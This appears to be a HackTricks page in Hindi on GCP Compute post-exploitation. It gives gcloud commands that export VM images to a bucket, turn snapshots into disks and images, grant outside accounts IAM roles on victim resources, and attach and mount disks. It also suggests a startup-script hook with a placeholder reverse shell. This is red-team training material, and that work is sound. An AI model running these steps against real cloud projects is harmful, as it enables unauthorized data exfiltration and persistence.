GCP - Compute Post Exploitation

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Compute

Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:

GCP - Compute Enum

स्थानीय रूप से छवियों का निर्यात और निरीक्षण करें

यह एक हमलावर को पहले से मौजूद छवियों के अंदर निहित डेटा तक पहुँचने या चल रहे VMs की नई छवियाँ बनाने और उनके डेटा तक पहुँचने की अनुमति देगा बिना चल रहे VM तक पहुँच के।

एक VM छवि को एक बकेट में निर्यात करना और फिर उसे डाउनलोड करके स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

इस क्रिया को करने के लिए हमलावर को स्टोरेज बकेट पर विशेषाधिकार की आवश्यकता हो सकती है और निश्चित रूप से cloudbuild पर विशेषाधिकार की आवश्यकता है क्योंकि यह सेवा है जिसे निर्यात करने के लिए कहा जाएगा।
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को विशेषाधिकार प्राप्त अनुमतियों की आवश्यकता है।
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com को आवश्यकता है:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

और SA <project-id>-compute@developer.gserviceaccount.com को आवश्यकता है:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

स्थानीय रूप से स्नैपशॉट और डिस्क का निर्यात और निरीक्षण करें

स्नैपशॉट और डिस्क को सीधे निर्यात करना संभव नहीं है, लेकिन एक स्नैपशॉट को डिस्क में, एक डिस्क को इमेज में में बदलना संभव है और पिछले अनुभाग के अनुसार, उस इमेज को निर्यात करना संभव है ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspect an Image creating a VM

डेटा जो एक इमेज में संग्रहीत है या एक चल रही VM के अंदर से जहां एक हमलावर ने एक इमेज बनाई है, एक बाहरी खाते को इमेज पर पहुंच प्रदान करना संभव है:

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

और फिर इससे एक नया VM बनाएं:

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

यदि आप अपनी बाहरी खाता पहुंच छवि के माध्यम से नहीं दे सके, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

एक स्नैपशॉट/डिस्क का निरीक्षण करना उसे एक VM से जोड़कर

डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुँचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।

या आप एक बाहरी खाते को डिस्क पर पहुँच प्रदान कर सकते हैं (यदि प्रारंभिक बिंदु एक स्नैपशॉट है तो स्नैपशॉट पर पहुँच दें या इससे एक डिस्क बनाएं):

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

एक उदाहरण में डिस्क जोड़ें:

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM के अंदर डिस्क माउंट करें:

  1. VM में SSH करें:
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. डिस्क पहचानें: VM के अंदर जाने के बाद, डिस्क उपकरणों की सूची बनाकर नई डिस्क की पहचान करें। आमतौर पर, आप इसे /dev/sdb, /dev/sdc, आदि के रूप में पा सकते हैं।
  2. डिस्क को फॉर्मेट और माउंट करें (यदि यह एक नई या कच्ची डिस्क है):
  • एक माउंट पॉइंट बनाएं:
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • डिस्क को माउंट करें:
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

यदि आप snapshot या डिस्क के लिए एक बाहरी प्रोजेक्ट को एक्सेस नहीं दे सकते, तो आपको snapshot/disk के समान प्रोजेक्ट में एक इंस्टेंस के अंदर ये क्रियाएँ करनी पड़ सकती हैं

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें